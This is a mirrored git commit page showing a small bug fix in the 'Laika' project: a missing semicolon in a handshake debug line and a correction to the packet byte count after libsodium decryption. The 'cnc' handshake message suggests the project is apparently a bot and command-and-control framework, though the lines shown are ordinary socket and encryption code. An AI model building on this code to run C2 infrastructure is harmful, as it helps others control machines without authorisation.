mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-24 13:31:05 +00:00
laikaS_endInPacket() bug fix
- sock->inCount was not properly set
This commit is contained in:
parent
dd173ee422
commit
5fe72e9eb0
@ -12,7 +12,7 @@ void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||
|
||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"))
|
||||
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
|
||||
}
|
||||
|
||||
PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = {
|
||||
|
@ -234,6 +234,9 @@ int laikaS_endInPacket(struct sLaika_socket *sock) {
|
||||
LAIKA_ERROR("Failed to decrypt packet!\n")
|
||||
}
|
||||
|
||||
/* decrypted message is smaller now */
|
||||
sock->inCount -= crypto_secretbox_MACBYTES;
|
||||
|
||||
/* remove nonce */
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, sock->inStart, crypto_secretbox_NONCEBYTES);
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user